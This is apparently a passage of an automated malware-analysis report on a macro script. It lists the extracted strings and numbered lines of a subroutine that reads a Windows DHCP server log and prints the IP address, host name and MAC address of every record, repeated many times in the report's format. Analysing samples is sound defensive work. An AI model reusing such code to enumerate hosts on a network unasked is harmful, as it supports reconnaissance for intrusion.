                                                                                                                                                      AscB

                                                                                                                                                      MidB

                                                                                                                                                      4201

                                                                                                                                                      r0 = a And &H80

                                                                                                                                                      4202

                                                                                                                                                      r1 = a And &HC0

                                                                                                                                                      4203

                                                                                                                                                      r2 = a And &HE0

                                                                                                                                                      4204

                                                                                                                                                      r3 = a And &HF0

                                                                                                                                                      4205

                                                                                                                                                      r4 = a And &HF8

                                                                                                                                                      4207

                                                                                                                                                      If n > 0 Then

                                                                                                                                                      4208

                                                                                                                                                      If r1 = &H80 Then

                                                                                                                                                      4209

                                                                                                                                                      n = n - 1

                                                                                                                                                      4210

                                                                                                                                                      Else

                                                                                                                                                      4211

                                                                                                                                                      ret = False

                                                                                                                                                      4212

                                                                                                                                                      Exit For

                                                                                                                                                      4213

                                                                                                                                                      Endif

                                                                                                                                                      4214

                                                                                                                                                      Else

                                                                                                                                                      4215

                                                                                                                                                      If r4 = &HF0 Then

                                                                                                                                                      4216

                                                                                                                                                      n = 3

                                                                                                                                                      4217

                                                                                                                                                      Elseif r3 = &HE0 Then

                                                                                                                                                      4218

                                                                                                                                                      n = 2

                                                                                                                                                      4219

                                                                                                                                                      Elseif r2 = &HC0 Then

                                                                                                                                                      4220

                                                                                                                                                      n = 1

                                                                                                                                                      4221

                                                                                                                                                      Elseif r0 = 0 Then

                                                                                                                                                      4222

                                                                                                                                                      n = 0

                                                                                                                                                      4223

                                                                                                                                                      Else

                                                                                                                                                      4224

                                                                                                                                                      ret = False

                                                                                                                                                      4225

                                                                                                                                                      Exit For

                                                                                                                                                      4226

                                                                                                                                                      Endif

                                                                                                                                                      4227

                                                                                                                                                      Endif

                                                                                                                                                      4228

                                                                                                                                                      Next

                                                                                                                                                      4230

                                                                                                                                                      CheckValidUtf8 = ret

                                                                                                                                                      4231

                                                                                                                                                      End Function

                                                                                                                                                      Subroutine TI, APIs: 190, Strings: 230, Number of lines: 192, Relevance: 630.192
                                                                                                                                                      APIsMeta Information

                                                                                                                                                      CreateObject

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      ReadLine

                                                                                                                                                      InStr

                                                                                                                                                      Split

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      CreateObject

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      ReadLine

                                                                                                                                                      InStr

                                                                                                                                                      Split

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      CreateObject

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      ReadLine

                                                                                                                                                      InStr

                                                                                                                                                      Split

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      CreateObject

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      ReadLine

                                                                                                                                                      InStr

                                                                                                                                                      Split

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      CreateObject

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      ReadLine

                                                                                                                                                      InStr

                                                                                                                                                      Split

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      CreateObject

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      ReadLine

                                                                                                                                                      InStr

                                                                                                                                                      Split

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      CreateObject

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      ReadLine

                                                                                                                                                      InStr

                                                                                                                                                      Split

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      CreateObject

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      ReadLine

                                                                                                                                                      InStr

                                                                                                                                                      Split

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      CreateObject

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      ReadLine

                                                                                                                                                      InStr

                                                                                                                                                      Split

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      CreateObject

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      ReadLine

                                                                                                                                                      InStr

                                                                                                                                                      Split

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      StringsDecrypted Strings
                                                                                                                                                      "Scripting.FileSystemObject"
                                                                                                                                                      "C:\Windows\System32\DHCP\""DhcpSrvLog-Mon.log"
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Time: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Scripting.FileSystemObject"
                                                                                                                                                      "C:\Windows\System32\DHCP\""DhcpSrvLog-Mon.log"
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Time: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Scripting.FileSystemObject"
                                                                                                                                                      "C:\Windows\System32\DHCP\""DhcpSrvLog-Mon.log"
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Time: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Scripting.FileSystemObject"
                                                                                                                                                      "C:\Windows\System32\DHCP\""DhcpSrvLog-Mon.log"
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Time: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Scripting.FileSystemObject"
                                                                                                                                                      "C:\Windows\System32\DHCP\""DhcpSrvLog-Mon.log"
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Time: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Scripting.FileSystemObject"
                                                                                                                                                      "C:\Windows\System32\DHCP\""DhcpSrvLog-Mon.log"
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Time: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Scripting.FileSystemObject"
                                                                                                                                                      "C:\Windows\System32\DHCP\""DhcpSrvLog-Mon.log"
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Time: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Scripting.FileSystemObject"
                                                                                                                                                      "C:\Windows\System32\DHCP\""DhcpSrvLog-Mon.log"
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Time: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Scripting.FileSystemObject"
                                                                                                                                                      "C:\Windows\System32\DHCP\""DhcpSrvLog-Mon.log"
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Time: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Scripting.FileSystemObject"
                                                                                                                                                      "C:\Windows\System32\DHCP\""DhcpSrvLog-Mon.log"
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      "Time: "
                                                                                                                                                      ","
                                                                                                                                                      "Date: "
                                                                                                                                                      "Time: "
                                                                                                                                                      "Description: "
                                                                                                                                                      "IP Address: "
                                                                                                                                                      "Host Name: "
                                                                                                                                                      "MAC Address: "
                                                                                                                                                      LineInstructionMeta Information
                                                                                                                                                      168

                                                                                                                                                      Private Sub TI()

                                                                                                                                                      174

                                                                                                                                                      Const ForReading = 1

                                                                                                                                                      176

                                                                                                                                                      Set objFSO = CreateObject("Scripting.FileSystemObject")

                                                                                                                                                      CreateObject

                                                                                                                                                      177

                                                                                                                                                      Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" & "DhcpSrvLog-Mon.log", ForReading)

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      180

                                                                                                                                                      Wscript.Echo vbCrLf & "DHCP Records"

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      182

                                                                                                                                                      Do While objtextFile.AtEndOfStream <> True

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      183

                                                                                                                                                      strLine = objtextFile.ReadLine

                                                                                                                                                      ReadLine

                                                                                                                                                      184

                                                                                                                                                      If InStr(strLine, ",") Then

                                                                                                                                                      InStr

                                                                                                                                                      185

                                                                                                                                                      arrDHCPRecord = Split(strLine, ",")

                                                                                                                                                      Split

                                                                                                                                                      186

                                                                                                                                                      Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      187

                                                                                                                                                      Wscript.Echo "Date: " & arrDHCPRecord(1)

                                                                                                                                                      Echo

                                                                                                                                                      188

                                                                                                                                                      Wscript.Echo "Time: " & arrDHCPRecord(2)

                                                                                                                                                      Echo

                                                                                                                                                      189

                                                                                                                                                      Wscript.Echo "Description: " & arrDHCPRecord(3)

                                                                                                                                                      Echo

                                                                                                                                                      190

                                                                                                                                                      Wscript.Echo "IP Address: " & arrDHCPRecord(4)

                                                                                                                                                      Echo

                                                                                                                                                      191

                                                                                                                                                      Wscript.Echo "Host Name: " & arrDHCPRecord(5)

                                                                                                                                                      Echo

                                                                                                                                                      192

                                                                                                                                                      Wscript.Echo "MAC Address: " & arrDHCPRecord(6)

                                                                                                                                                      Echo

                                                                                                                                                      193

                                                                                                                                                      i = i + 1

                                                                                                                                                      194

                                                                                                                                                      Endif

                                                                                                                                                      195

                                                                                                                                                      Loop

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      197

                                                                                                                                                      Wscript.Echo vbCrLf & "Number of DHCP records read: " & i

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      199

                                                                                                                                                      Const ForReading = 1

                                                                                                                                                      201

                                                                                                                                                      Set objFSO = CreateObject("Scripting.FileSystemObject")

                                                                                                                                                      CreateObject

                                                                                                                                                      202

                                                                                                                                                      Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" & "DhcpSrvLog-Mon.log", ForReading)

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      205

                                                                                                                                                      Wscript.Echo vbCrLf & "DHCP Records"

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      207

                                                                                                                                                      Do While objtextFile.AtEndOfStream <> True

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      208

                                                                                                                                                      strLine = objtextFile.ReadLine

                                                                                                                                                      ReadLine

                                                                                                                                                      209

                                                                                                                                                      If InStr(strLine, ",") Then

                                                                                                                                                      InStr

                                                                                                                                                      210

                                                                                                                                                      arrDHCPRecord = Split(strLine, ",")

                                                                                                                                                      Split

                                                                                                                                                      211

                                                                                                                                                      Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      212

                                                                                                                                                      Wscript.Echo "Date: " & arrDHCPRecord(1)

                                                                                                                                                      Echo

                                                                                                                                                      213

                                                                                                                                                      Wscript.Echo "Time: " & arrDHCPRecord(2)

                                                                                                                                                      Echo

                                                                                                                                                      214

                                                                                                                                                      Wscript.Echo "Description: " & arrDHCPRecord(3)

                                                                                                                                                      Echo

                                                                                                                                                      215

                                                                                                                                                      Wscript.Echo "IP Address: " & arrDHCPRecord(4)

                                                                                                                                                      Echo

                                                                                                                                                      216

                                                                                                                                                      Wscript.Echo "Host Name: " & arrDHCPRecord(5)

                                                                                                                                                      Echo

                                                                                                                                                      217

                                                                                                                                                      Wscript.Echo "MAC Address: " & arrDHCPRecord(6)

                                                                                                                                                      Echo

                                                                                                                                                      218

                                                                                                                                                      i = i + 1

                                                                                                                                                      219

                                                                                                                                                      Endif

                                                                                                                                                      220

                                                                                                                                                      Loop

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      222

                                                                                                                                                      Wscript.Echo vbCrLf & "Number of DHCP records read: " & i

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      224

                                                                                                                                                      Const ForReading = 1

                                                                                                                                                      226

                                                                                                                                                      Set objFSO = CreateObject("Scripting.FileSystemObject")

                                                                                                                                                      CreateObject

                                                                                                                                                      227

                                                                                                                                                      Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" & "DhcpSrvLog-Mon.log", ForReading)

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      230

                                                                                                                                                      Wscript.Echo vbCrLf & "DHCP Records"

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      232

                                                                                                                                                      Do While objtextFile.AtEndOfStream <> True

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      233

                                                                                                                                                      strLine = objtextFile.ReadLine

                                                                                                                                                      ReadLine

                                                                                                                                                      234

                                                                                                                                                      If InStr(strLine, ",") Then

                                                                                                                                                      InStr

                                                                                                                                                      235

                                                                                                                                                      arrDHCPRecord = Split(strLine, ",")

                                                                                                                                                      Split

                                                                                                                                                      236

                                                                                                                                                      Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      237

                                                                                                                                                      Wscript.Echo "Date: " & arrDHCPRecord(1)

                                                                                                                                                      Echo

                                                                                                                                                      238

                                                                                                                                                      Wscript.Echo "Time: " & arrDHCPRecord(2)

                                                                                                                                                      Echo

                                                                                                                                                      239

                                                                                                                                                      Wscript.Echo "Description: " & arrDHCPRecord(3)

                                                                                                                                                      Echo

                                                                                                                                                      240

                                                                                                                                                      Wscript.Echo "IP Address: " & arrDHCPRecord(4)

                                                                                                                                                      Echo

                                                                                                                                                      241

                                                                                                                                                      Wscript.Echo "Host Name: " & arrDHCPRecord(5)

                                                                                                                                                      Echo

                                                                                                                                                      242

                                                                                                                                                      Wscript.Echo "MAC Address: " & arrDHCPRecord(6)

                                                                                                                                                      Echo

                                                                                                                                                      243

                                                                                                                                                      i = i + 1

                                                                                                                                                      244

                                                                                                                                                      Endif

                                                                                                                                                      245

                                                                                                                                                      Loop

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      247

                                                                                                                                                      Wscript.Echo vbCrLf & "Number of DHCP records read: " & i

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      251

                                                                                                                                                      Const ForReading = 1

                                                                                                                                                      253

                                                                                                                                                      Set objFSO = CreateObject("Scripting.FileSystemObject")

                                                                                                                                                      CreateObject

                                                                                                                                                      254

                                                                                                                                                      Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" & "DhcpSrvLog-Mon.log", ForReading)

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      257

                                                                                                                                                      Wscript.Echo vbCrLf & "DHCP Records"

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      259

                                                                                                                                                      Do While objtextFile.AtEndOfStream <> True

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      260

                                                                                                                                                      strLine = objtextFile.ReadLine

                                                                                                                                                      ReadLine

                                                                                                                                                      261

                                                                                                                                                      If InStr(strLine, ",") Then

                                                                                                                                                      InStr

                                                                                                                                                      262

                                                                                                                                                      arrDHCPRecord = Split(strLine, ",")

                                                                                                                                                      Split

                                                                                                                                                      263

                                                                                                                                                      Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      264

                                                                                                                                                      Wscript.Echo "Date: " & arrDHCPRecord(1)

                                                                                                                                                      Echo

                                                                                                                                                      265

                                                                                                                                                      Wscript.Echo "Time: " & arrDHCPRecord(2)

                                                                                                                                                      Echo

                                                                                                                                                      266

                                                                                                                                                      Wscript.Echo "Description: " & arrDHCPRecord(3)

                                                                                                                                                      Echo

                                                                                                                                                      267

                                                                                                                                                      Wscript.Echo "IP Address: " & arrDHCPRecord(4)

                                                                                                                                                      Echo

                                                                                                                                                      268

                                                                                                                                                      Wscript.Echo "Host Name: " & arrDHCPRecord(5)

                                                                                                                                                      Echo

                                                                                                                                                      269

                                                                                                                                                      Wscript.Echo "MAC Address: " & arrDHCPRecord(6)

                                                                                                                                                      Echo

                                                                                                                                                      270

                                                                                                                                                      i = i + 1

                                                                                                                                                      271

                                                                                                                                                      Endif

                                                                                                                                                      272

                                                                                                                                                      Loop

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      274

                                                                                                                                                      Wscript.Echo vbCrLf & "Number of DHCP records read: " & i

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      275

                                                                                                                                                      Const ForReading = 1

                                                                                                                                                      277

                                                                                                                                                      Set objFSO = CreateObject("Scripting.FileSystemObject")

                                                                                                                                                      CreateObject

                                                                                                                                                      278

                                                                                                                                                      Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" & "DhcpSrvLog-Mon.log", ForReading)

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      281

                                                                                                                                                      Wscript.Echo vbCrLf & "DHCP Records"

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      283

                                                                                                                                                      Do While objtextFile.AtEndOfStream <> True

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      284

                                                                                                                                                      strLine = objtextFile.ReadLine

                                                                                                                                                      ReadLine

                                                                                                                                                      285

                                                                                                                                                      If InStr(strLine, ",") Then

                                                                                                                                                      InStr

                                                                                                                                                      286

                                                                                                                                                      arrDHCPRecord = Split(strLine, ",")

                                                                                                                                                      Split

                                                                                                                                                      287

                                                                                                                                                      Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      288

                                                                                                                                                      Wscript.Echo "Date: " & arrDHCPRecord(1)

                                                                                                                                                      Echo

                                                                                                                                                      289

                                                                                                                                                      Wscript.Echo "Time: " & arrDHCPRecord(2)

                                                                                                                                                      Echo

                                                                                                                                                      290

                                                                                                                                                      Wscript.Echo "Description: " & arrDHCPRecord(3)

                                                                                                                                                      Echo

                                                                                                                                                      291

                                                                                                                                                      Wscript.Echo "IP Address: " & arrDHCPRecord(4)

                                                                                                                                                      Echo

                                                                                                                                                      292

                                                                                                                                                      Wscript.Echo "Host Name: " & arrDHCPRecord(5)

                                                                                                                                                      Echo

                                                                                                                                                      293

                                                                                                                                                      Wscript.Echo "MAC Address: " & arrDHCPRecord(6)

                                                                                                                                                      Echo

                                                                                                                                                      294

                                                                                                                                                      i = i + 1

                                                                                                                                                      295

                                                                                                                                                      Endif

                                                                                                                                                      296

                                                                                                                                                      Loop

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      298

                                                                                                                                                      Wscript.Echo vbCrLf & "Number of DHCP records read: " & i

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      299

                                                                                                                                                      Const ForReading = 1

                                                                                                                                                      301

                                                                                                                                                      Set objFSO = CreateObject("Scripting.FileSystemObject")

                                                                                                                                                      CreateObject

                                                                                                                                                      302

                                                                                                                                                      Set objtextFile = objFSO.OpenTextFile("C:\Windows\System32\DHCP\" & "DhcpSrvLog-Mon.log", ForReading)

                                                                                                                                                      OpenTextFile

                                                                                                                                                      ForReading

                                                                                                                                                      305

                                                                                                                                                      Wscript.Echo vbCrLf & "DHCP Records"

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      307

                                                                                                                                                      Do While objtextFile.AtEndOfStream <> True

                                                                                                                                                      AtEndOfStream

                                                                                                                                                      308

                                                                                                                                                      strLine = objtextFile.ReadLine

                                                                                                                                                      ReadLine

                                                                                                                                                      309

                                                                                                                                                      If InStr(strLine, ",") Then

                                                                                                                                                      InStr

                                                                                                                                                      310

                                                                                                                                                      arrDHCPRecord = Split(strLine, ",")

                                                                                                                                                      Split

                                                                                                                                                      311

                                                                                                                                                      Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)

                                                                                                                                                      Echo

                                                                                                                                                      vbCrLf

                                                                                                                                                      312

                                                                                                                                                      Wscript.Echo "Date: " & arrDHCPRecord(1)

                                                                                                                                                      Echo

                                                                                                                                                      313

                                                                                                                                                      Wscript.Echo "Time: " & arrDHCPRecord(2)

                                                                                                                                                      Echo

                                                                                                                                                      314

                                                                                                                                                      Wscript.Echo "Description: " & arrDHCPRecord(3)

                                                                                                                                                      Echo

                                                                                                                                                      315

                                                                                                                                                      Wscript.Echo "IP Address: " & arrDHCPRecord(4)

                                                                                                                                                      Echo

                                                                                                                                                      316

                                                                                                                                                      Wscript.Echo "Host Name: " & arrDHCPRecord(5)

                                                                                                                                                      Echo

                                                                                                                                                      317

                                                                                                                                                      Wscript.Echo "MAC Address: " & arrDHCPRecord(6)

                                                                                                                                                      Echo

                                                                                                                                                      318

                                                                                                                                                      i = i + 1

                                                                                                                                                      319

